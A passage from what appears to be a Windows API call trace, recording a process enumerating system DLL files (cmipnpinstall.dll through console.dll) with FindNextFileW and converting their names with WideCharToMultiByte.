cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0xd3c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0194.006] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0194.006] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.006] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.006] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.007] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.007] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0xd3c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0194.007] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.007] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.007] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.007] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.007] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.008] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.008] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.008] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.008] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.008] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.008] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.008] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.009] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.009] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.009] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0xd3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0194.009] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.009] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, 